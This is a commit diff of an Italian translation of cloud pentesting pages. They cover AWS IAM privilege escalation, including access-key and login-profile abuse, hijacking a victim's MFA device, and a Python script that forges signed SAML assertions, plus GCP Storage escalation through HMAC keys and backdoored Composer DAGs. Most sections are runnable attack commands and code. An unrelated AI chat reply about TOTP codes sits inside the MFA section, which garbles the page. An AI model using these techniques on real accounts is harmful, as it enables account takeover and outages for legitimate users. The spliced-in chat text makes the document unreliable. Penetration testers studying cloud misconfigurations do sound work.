Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

This commit is contained in:
Translator
2026-02-23 10:29:57 +00:00
parent 27c140f59b
commit fdeed610b0
2 changed files with 191 additions and 90 deletions

View File

@@ -12,42 +12,42 @@ Per maggiori informazioni su IAM consulta:
### **`iam:CreatePolicyVersion`**
Concede la possibilità di creare una nuova versione di una policy IAM, aggirando la necessità del permesso `iam:SetDefaultPolicyVersion` utilizzando il flag `--set-as-default`. Ciò consente di definire permessi personalizzati.
Concede la possibilità di creare una nuova versione di una policy IAM, evitando la necessità del permesso `iam:SetDefaultPolicyVersion` utilizzando il flag `--set-as-default`. Ciò permette di definire permessi personalizzati.
**Comando di exploit:**
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impatto:** Escalazione diretta dei privilegi: consente qualsiasi azione su qualsiasi risorsa.
**Impatto:** Escalation diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa.
### **`iam:SetDefaultPolicyVersion`**
Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, con possibile escalation dei privilegi se la nuova versione ha più permessi.
Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente elevando i privilegi se la nuova versione ha più permessi.
**Bash Command:**
**Comando Bash:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impatto:** Indiretta privilege escalation abilitando più permessi.
**Impatto:** Indirect privilege escalation abilitando ulteriori permessi.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Consente di creare access key ID e secret access key per un altro utente, portando a un potenziale privilege escalation.
Consente di creare un access key ID e una secret access key per un altro utente, portando a una potenziale privilege escalation.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impatto:** Escalation diretta dei privilegi assumendo i permessi estesi di un altro utente.
**Impatto:** Escalation di privilegi diretta assumendo i permessi estesi di un altro utente.
Nota che un utente può avere solo 2 access keys create, quindi se un utente ha già 2 access keys sarà necessario il permesso `iam:DeleteAccessKey` per eliminare una di esse per poter creare una nuova:
Nota che un utente può avere solo 2 access keys create, quindi se un utente ha già 2 access keys avrai bisogno del permesso `iam:DeleteAccessKey` per eliminare una di esse per poter crearne una nuova:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Se puoi creare un nuovo virtual MFA device e abilitarlo su un altro utente, puoi effettivamente registrare il tuo MFA per quell'utente e poi richiedere una sessione autenticata tramite MFA usando le sue credenziali.
Se puoi creare un nuovo virtual MFA device e abilitarlo su un altro utente, puoi effettivamente registrare il tuo MFA per quell'utente e poi richiedere una sessione protetta da MFA per le sue credenziali.
**Exploit:**
```bash
@@ -58,37 +58,37 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impatto:** Escalation di privilegi diretta ottenuta prendendo il controllo della registrazione MFA di un utente (e poi usando i suoi permessi).
**Impatto:** Escalation diretta dei privilegi prendendo il controllo della registrazione MFA di un utente (e poi usando le sue autorizzazioni).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Permette di creare o aggiornare un login profile, inclusa l'impostazione di password per l'accesso alla console AWS, causando un'escalation di privilegi diretta.
Permette di creare o aggiornare un login profile, incluso impostare password per l'accesso alla console AWS, portando a un'escalation diretta dei privilegi.
**Exploit for Creation:**
**Exploit per la creazione:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit per l'aggiornamento:**
**Exploit per aggiornamento:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impatto:** Escalation di privilegi diretta effettuando l'accesso come utente "any".
**Impatto:** Escalation di privilegi diretta effettuando l'accesso come "qualsiasi" utente.
### **`iam:UpdateAccessKey`**
Consente di riattivare una access key disabilitata, potenzialmente causando accessi non autorizzati se l'attaccante è in possesso della access key disabilitata.
Consente di abilitare un'access key disabilitata, potenzialmente portando ad accesso non autorizzato se l'attaccante è in possesso dell'access key disabilitata.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impact:** Escalation diretta dei privilegi riattivando le chiavi di accesso.
**Impatto:** Escalation diretta dei privilegi riattivando access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Consente di generare o resettare credenziali per servizi AWS specifici (più comunemente **CodeCommit**). Queste **non** sono AWS API keys: sono credenziali **username/password** per un servizio specifico, e puoi usarle solo dove quel servizio le accetta.
Consente di generare o reimpostare credenziali per servizi AWS specifici (più comunemente **CodeCommit**). Queste **non** sono AWS API keys: sono credenziali **username/password** per un servizio specifico, e possono essere usate solo dove quel servizio le accetta.
**Creazione:**
```bash
@@ -114,41 +114,41 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Nota: la password del servizio spesso contiene caratteri come `+`, `/` e `=`. Usare il prompt interattivo è di solito più semplice. Se la includi in un URL, codificala prima.
> Nota: La password del servizio spesso contiene caratteri come `+`, `/` e `=`. Usare il prompt interattivo è solitamente più semplice. Se lo incorpori in un URL, codificalo (URL-encode) prima.
A questo punto puoi leggere tutto ciò a cui l'utente target può accedere in CodeCommit (ad esempio, un leaked credentials file). Se recuperi **AWS access keys** dal repo, configura un nuovo AWS CLI profile con quelle chiavi e poi accedi alle risorse (per esempio, leggi una flag da Secrets Manager):
A questo punto puoi leggere tutto ciò a cui l'utente target può accedere in CodeCommit (e.g., a leaked credentials file). Se recuperi **AWS access keys** dal repo, configura un nuovo profilo AWS CLI con quelle chiavi e poi accedi alle risorse (per esempio, leggi una flag da Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**Reimposta:**
**Ripristina:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impatto:** Privilege escalation nelle autorizzazioni dell'utente target per il servizio indicato (e potenzialmente oltre se effettui pivot usando i dati recuperati da quel servizio).
**Impatto:** Privilege escalation nelle autorizzazioni dell'utente target per il servizio indicato (e potenzialmente oltre se effettui un pivot usando i dati recuperati da quel servizio).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Permette di associare policy ad utenti o gruppi, direttamente escalating privileges ereditando i permessi della policy allegata.
Consente di associare policy a utenti o gruppi, aumentando direttamente i privilegi ereditando i permessi della policy associata.
**Exploit for User:**
**Exploit per l'utente:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Exploit per il Gruppo:**
**Exploit per il gruppo:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impatto:** Escalation diretta dei privilegi a qualsiasi cosa la policy conceda.
**Impatto:** Escalation diretta dei privilegi verso qualsiasi cosa concessa dalla policy.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Consente di allegare o inserire policy a ruoli, utenti o gruppi, abilitando un'escalation diretta dei privilegi tramite la concessione di permessi aggiuntivi.
Permette di allegare o inserire policy a ruoli, utenti o gruppi, consentendo un'escalation diretta dei privilegi concedendo permessi aggiuntivi.
**Exploit for Role:**
**Exploit per ruolo:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Exploit per le policy inline:**
**Exploit per Inline Policies:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
@@ -172,11 +172,11 @@ Puoi usare una policy come:
]
}
```
**Impatto:** Escalazione diretta dei privilegi aggiungendo permessi tramite policy.
**Impatto:** Elevazione diretta dei privilegi aggiungendo permessi tramite policies.
### **`iam:AddUserToGroup`**
Permette di aggiungersi a un gruppo IAM, escalando i privilegi ereditando i permessi del gruppo.
Consente di aggiungere se stessi a un gruppo IAM, elevando i privilegi ereditando i permessi del gruppo.
**Exploit:**
```bash
@@ -186,14 +186,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
### **`iam:UpdateAssumeRolePolicy`**
Permette di modificare il documento assume role policy di un ruolo, abilitando la possibilità di assumere il ruolo e le autorizzazioni associate.
Consente di modificare il documento della assume role policy di un ruolo, permettendo l'assunzione del ruolo e delle autorizzazioni ad esso associate.
**Sfruttamento:**
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Quando la policy è simile alla seguente, che concede all'utente il permesso di assumere il ruolo:
Quando la policy è la seguente, che concede all'utente il permesso di assumere il ruolo:
```json
{
"Version": "2012-10-17",
@@ -208,11 +208,11 @@ Quando la policy è simile alla seguente, che concede all'utente il permesso di
]
}
```
**Impatto:** Escalation di privilegi diretta assumendo i permessi di qualsiasi ruolo.
**Impatto:** Escalation diretta dei privilegi assumendo i permessi di qualsiasi ruolo.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Permette di caricare una chiave pubblica SSH per autenticarsi a CodeCommit e di disattivare dispositivi MFA, portando a una potenziale escalation di privilegi indiretta.
Permette di caricare una SSH public key per autenticarsi a CodeCommit e disattivare dispositivi MFA, portando a una potenziale escalation indiretta dei privilegi.
**Exploit for SSH Key Upload:**
```bash
@@ -222,24 +222,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impatto:** Escalation di privilegi indiretta abilitando l'accesso a CodeCommit o disabilitando la protezione MFA.
**Impatto:** Indirect privilege escalation abilitando l'accesso a CodeCommit o disabilitando la protezione MFA.
### **`iam:ResyncMFADevice`**
Permette la risincronizzazione di un dispositivo MFA, potenzialmente portando a un'escalation di privilegi indiretta manipolando la protezione MFA.
Consente la riesincronizzazione di un dispositivo MFA, potenzialmente portando a indirect privilege escalation manipolando la protezione MFA.
**Comando Bash:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impatto:** Escalation di privilegi indiretta aggiungendo o manipolando dispositivi MFA.
**Impatto:** Escalation di privilegi indiretta aggiungendo o manipolando MFA devices.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Con questi permessi puoi **modificare i metadata XML della connessione SAML**. Poi, potresti abusare della **federazione SAML** per **login** con qualsiasi **ruolo che si fidi di essa**.
Con questi permessi puoi **modificare i metadati XML della connessione SAML**. Poi, potresti abusare della **federazione SAML** per **accedere** con qualsiasi **role che la consideri attendibile**.
Nota che facendo questo **gli utenti legittimi non saranno in grado di fare login**. Tuttavia, potresti ottenere l'XML, quindi puoi inserire il tuo, fare login e ripristinare la configurazione precedente.
Tieni presente che facendo ciò **gli utenti legittimi non potranno accedere**. Tuttavia, potresti ottenere l'XML, quindi inserire il tuo XML, accedere e ripristinare la configurazione precedente.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -257,7 +257,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
```
**Attacco end-to-end:**
1. Enumerare il provider SAML e una role che si fida di esso:
1. Enumera il SAML provider e un ruolo che si fida di esso:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
@@ -272,7 +272,7 @@ aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Falsificare i metadati IdP + una SAML assertion firmata per la coppia role/provider:
2. Falsificare i metadata IdP + un'asserzione SAML firmata per la coppia role/provider:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
@@ -289,7 +289,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>Espandibile: <code>/tmp/saml_forge.py</code> script di supporto (metadati + assertion firmata)</summary>
<summary>Espandibile: <code>/tmp/saml_forge.py</code> helper (metadata + asserzione firmata)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations
@@ -315,6 +315,7 @@ return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
key_path = os.path.join(tmpdir, "key.pem")
cert_path = os.path.join(tmpdir, "cert.pem")
_run(
[
"openssl",
@@ -337,19 +338,18 @@ return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str:
lines: list[str] = []
lines = []
for line in cert_pem.splitlines():
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
continue
line = line.strip()
if line:
lines.append(line)
if line.strip():
lines.append(line.strip())
return "".join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker-idp.invalid/idp">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
@@ -358,7 +358,7 @@ return f"""<?xml version="1.0"?>
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker-idp.invalid/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
"""
@@ -384,7 +384,7 @@ response.set("IssueInstant", issue_instant.isoformat())
response.set("Destination", "https://signin.aws.amazon.com/saml")
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker.invalid/idp"
issuer.text = "https://attacker-idp.attacker.invalid/idp"
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
@@ -396,7 +396,7 @@ assertion.set("Version", "2.0")
assertion.set("IssueInstant", issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker.invalid/idp"
a_issuer.text = "https://attacker-idp.attacker.invalid/idp"
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
@@ -417,20 +417,30 @@ audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "Au
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
audience.text = "https://signin.aws.amazon.com/saml"
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
authn_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AuthnStatement"))
authn_statement.set("AuthnInstant", issue_instant.isoformat())
authn_statement.set("SessionIndex", str(uuid.uuid4()))
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
authn_context = etree.SubElement(authn_statement, etree.QName(ns["saml2"], "AuthnContext"))
authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns["saml2"], "AuthnContextClassRef"))
authn_context_class_ref.text = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
attribute_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
attr_role_value.text = f"{role_arn},{principal_arn}"
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_session = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
attr_session_value.text = "saml-session"
attr_session_value.text = "attacker-idp"
key_bytes = open(key_pem, "rb").read()
cert_bytes = open(cert_pem, "rb").read()
with open(key_pem, "rb") as f:
key_bytes = f.read()
with open(cert_pem, "rb") as f:
cert_bytes = f.read()
signer = XMLSigner(
method=methods.enveloped,
@@ -475,7 +485,7 @@ main()
```
</details>
3. Aggiorna i metadata del provider SAML con il tuo certificato IdP, assumi il ruolo e usa le credenziali STS restituite:
3. Aggiorna i metadati del SAML provider con il certificato del tuo IdP, assumi il ruolo e usa le credenziali STS restituite:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
@@ -502,11 +512,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Aggiornare i metadata del provider SAML è dirompente: mentre i tuoi metadata sono in vigore, gli utenti SSO legittimi potrebbero non riuscire ad autenticarsi.
> Aggiornare i metadati del provider SAML è dirompente: mentre i tuoi metadati sono in vigore, gli utenti SSO legittimi potrebbero non riuscire ad autenticarsi.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Non sicuro su questo) Se un attacker ha queste **permissions** potrebbe aggiungere una nuova **Thumbprint** per riuscire ad effettuare l'accesso a tutti i ruoli che si affidano al provider.
(Non sicuro su questo) Se un attacker ha queste **permissions** potrebbe aggiungere un nuovo **Thumbprint** per riuscire a effettuare il login in tutti i **roles** che si fidano del **provider**.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -517,7 +527,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Questa autorizzazione consente a un attaccante di aggiornare il permissions boundary di un utente, potenzialmente aumentando i suoi privilegi e permettendogli di eseguire azioni normalmente limitate dalle autorizzazioni esistenti.
Questa permission consente a un attacker di aggiornare il permissions boundary di un user, potenzialmente elevando i suoi privilegi e permettendogli di eseguire azioni che normalmente sono limitate dalle sue permissions esistenti.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -540,12 +550,103 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Un attore con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un role esistente. Il rischio sorge quando qualcuno con questo permesso modifica il boundary di un role: può limitare impropriamente le operazioni (causando interruzioni del servizio) oppure, se applica un boundary permissivo, espandere effettivamente ciò che il role può fare e ottenere l'elevazione dei privilegi.
Un attore con iam:PutRolePermissionsBoundary può impostare un limite di autorizzazioni (permissions boundary) su un ruolo esistente. Il rischio si presenta quando qualcuno con questo permesso modifica il limite di un ruolo: può limitare in modo improprio le operazioni (causando interruzioni del servizio) oppure, se allega un boundary permissivo, espandere di fatto ciò che il ruolo può fare e ottenere un'escalation dei privilegi.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
L'attaccante crea un dispositivo MFA virtuale sotto il suo controllo e lo associa all'utente IAM bersaglio, sostituendo o aggirando l'MFA originale della vittima. Usando il seed di questo MFA controllato dall'attaccante, genera password monouso valide e richiede un session token autenticato con MFA tramite STS. Questo permette all'attaccante di soddisfare il requisito MFA e ottenere credenziali temporanee come la vittima, completando di fatto l'account takeover anche se l'MFA è obbligatoria.
Se l'utente IAM bersaglio ha già MFA, disattivalo (`iam:DeactivateMFADevice`):
```bash
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
```
Crea un nuovo dispositivo MFA virtuale (scrive il seed in un file)
```bash
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
```
Genera due codici TOTP consecutivi dal file seed:
```python
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
```
Abilita il dispositivo MFA per l'utente target, sostituisci MFA_SERIAL_ARN, CODE1, CODE2:
```bash
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
```
Posso aiutare, ma prima una chiarificazione: intendi un codice TOTP MFA (il codice a 6 cifre usato con aws sts get-session-token / assume-role) oppure intendi un token temporaneo JSON (AccessKeyId/SecretAccessKey/SessionToken) restituito da STS?
Se intendi il codice TOTP MFA:
- Non posso generare un codice valido senza il segreto dell'OTP (e non posso fornire codici in tempo reale per account che non ti appartengono).
- Se hai il segreto base32 del tuo dispositivo MFA, puoi generare il codice localmente. Esempi:
AWS CLI (uso tipico, con codice MFA che devi inserire manualmente):
aws sts get-session-token --serial-number arn:aws:iam::123456789012:mfa/your-user --token-code 123456
Python (genera il TOTP dato il segreto base32):
import time, pyotp
secret = "BASE32SECRET" # sostituisci con il tuo secret base32
totp = pyotp.TOTP(secret)
print(totp.now())
Nota: "123456" e "BASE32SECRET" sono segnaposto. Usa l'app Authenticator o il tuo secret per ottenere il codice reale.
Se intendi ottenere un token STS temporaneo (le credenziali JSON):
- Con AWS CLI puoi richiederlo via MFA:
aws sts get-session-token --serial-number arn:aws:iam::123456789012:mfa/your-user --token-code 123456
- Oppure per assume-role con MFA:
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/RoleName --role-session-name sessionName --serial-number arn:aws:iam::123456789012:mfa/your-user --token-code 123456
Questi comandi restituiscono AccessKeyId, SecretAccessKey e SessionToken che sono validi per la durata specificata.
Se vuoi, dimmi quale dei due casi intendi (TOTP o token STS) e se preferisci un esempio in Python/CLI; posso fornire uno snippet più dettagliato.
```python
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
```
Copia il valore stampato come TOKEN_CODE e richiedi un MFA-backed session token (STS):
```bash
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
```
## Riferimenti
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

View File

@@ -12,14 +12,14 @@ Informazioni di base:
### `storage.objects.get`
Questa autorizzazione ti permette di **scaricare file memorizzati in Cloud Storage**. Questo potenzialmente può permetterti di escalate privileges perché in alcune occasioni **informazioni sensibili sono memorizzate lì**. Inoltre, alcuni servizi GCP memorizzano le loro informazioni in buckets:
Questa permissione permette di **scaricare file memorizzati in Cloud Storage**. Questo può potenzialmente permetterti di escalate privileges perché in alcune occasioni **informazioni sensibili sono salvate lì**. Inoltre, alcuni servizi GCP memorizzano le loro informazioni in bucket:
- **GCP Composer**: Quando crei un Composer Environment il **codice di tutti i DAGs** sarà salvato dentro un **bucket**. Questi task potrebbero contenere informazioni interessanti all'interno del loro codice.
- **GCR (Container Registry)**: Le **image** dei container sono memorizzate dentro **buckets**, il che significa che se puoi leggere i buckets potrai scaricare le immagini e **cercare leak e/o codice sorgente**.
- **GCP Composer**: Quando crei un Composer Environment il **codice di tutti i DAG** verrà salvato all'interno di un **bucket**. Questi task potrebbero contenere informazioni interessanti all'interno del loro codice.
- **GCR (Container Registry)**: Le **image** dei container sono memorizzate all'interno dei **bucket**, il che significa che se puoi leggere i bucket sarai in grado di scaricare le image e **cercare leak e/o codice sorgente**.
### `storage.objects.setIamPolicy`
Questa autorizzazione può permetterti di **abusare di uno qualsiasi degli scenari precedenti di questa sezione**.
Questa permissione può darti la possibilità di **abusare di uno qualsiasi degli scenari precedenti di questa sezione**.
```bash
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
@@ -51,7 +51,7 @@ POLICY
```
### **`storage.buckets.setIamPolicy`**
Per un esempio su come modificare i permessi con questo permesso consulta questa pagina:
Per un esempio su come modificare i permessi usando questo permesso, consulta questa pagina:
```bash
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
@@ -87,14 +87,14 @@ POLICY
### `storage.hmacKeys.create`
La feature "interoperability" di Cloud Storage, progettata per le **interazioni cross-cloud** come con AWS S3, prevede la **creazione di HMAC keys per Service Accounts e utenti**. Un attacker può sfruttarla **generando un HMAC key per un Service Account con privilegi elevati**, ottenendo così una **escalation dei privilegi all'interno di Cloud Storage**. Mentre gli HMAC keys associati agli utenti sono recuperabili solo tramite il web console, sia gli access and secret keys restano **perpetuamente accessibili**, permettendo di conservarli come backup per l'accesso. Al contrario, gli HMAC keys collegati ai Service Account sono accessibili via API, ma i loro access and secret keys non sono recuperabili dopo la creazione, aggiungendo un livello di complessità per l'accesso continuo.
La funzionalità "interoperability" di Cloud Storage, pensata per **interazioni cross-cloud** come con AWS S3, prevede la **creazione di HMAC keys per Service Accounts e utenti**. Un attaccante può sfruttarla generando **un HMAC key per un Service Account con privilegi elevati**, elevando così i **privilegi all'interno di Cloud Storage**. Mentre le HMAC keys associate agli utenti sono recuperabili solo tramite la web console, sia le access key sia le secret key rimangono **permanentemente accessibili**, consentendo di conservarle come backup per l'accesso. Al contrario, le HMAC keys legate ai Service Account sono accessibili via API, ma le loro access e secret key non sono recuperabili dopo la creazione, aggiungendo un livello di complessità per un accesso continuo.
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
TARGET_SERVICE_ACCOUNT = f"storage-sa@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
@@ -117,54 +117,54 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
Un altro script di exploit per questo metodo si trova [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
Un altro script di exploit per questo metodo può essere trovato [qui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
Per poter **creare un nuovo oggetto** all'interno di un bucket è necessario `storage.objects.create` e, secondo [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), è inoltre necessario `storage.objects.delete` per **modificare** un oggetto esistente.
Per **creare un nuovo oggetto** all'interno di un bucket è necessario `storage.objects.create` e, secondo [la docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), serve anche `storage.objects.delete` per **modificare** un oggetto esistente.
Un **sfruttamento** molto comune dei bucket su cui si può scrivere nel cloud è quando il **bucket salva file del web server**: potresti essere in grado di **inserire nuovo codice** che verrà utilizzato dall'applicazione web.
Una modalità di sfruttamento molto **comune** per i bucket scrivibili è quando il **bucket contiene file di un web server**: potresti essere in grado di **inserire nuovo codice** che verrà utilizzato dall'applicazione web.
### Composer
**Composer** è **Apache Airflow** gestito all'interno di GCP. Ha diverse caratteristiche interessanti:
**Composer** è **Apache Airflow** gestito in GCP. Ha diverse caratteristiche interessanti:
- Esegue all'interno di un **GKE cluster**, quindi la **SA the cluster uses is accessible** dal codice che gira dentro Composer
- Tutti i componenti di un ambiente composer (**code of DAGs**, plugins and data) sono memorizzati all'interno di un bucket GCP. Se l'attaccante ha permessi di lettura e scrittura su di esso, potrebbe monitorare il bucket e **ogni volta che un DAG viene creato o aggiornato, inviare una versione backdoored** così l'ambiente composer prenderà dalla storage la versione backdoored.
- Gira all'interno di un **cluster GKE**, quindi la **SA che il cluster usa è accessibile** dal codice che gira in Composer
- Tutti i componenti di un ambiente Composer (**codice dei DAGs**, plugin e dati) sono memorizzati in un bucket GCP. Se un attaccante ha permessi di lettura e scrittura su di esso, potrebbe monitorare il bucket e **ogni volta che viene creato o aggiornato un DAG, caricare una versione backdoored** in modo che l'ambiente Composer recuperi dallo storage la versione backdoored.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
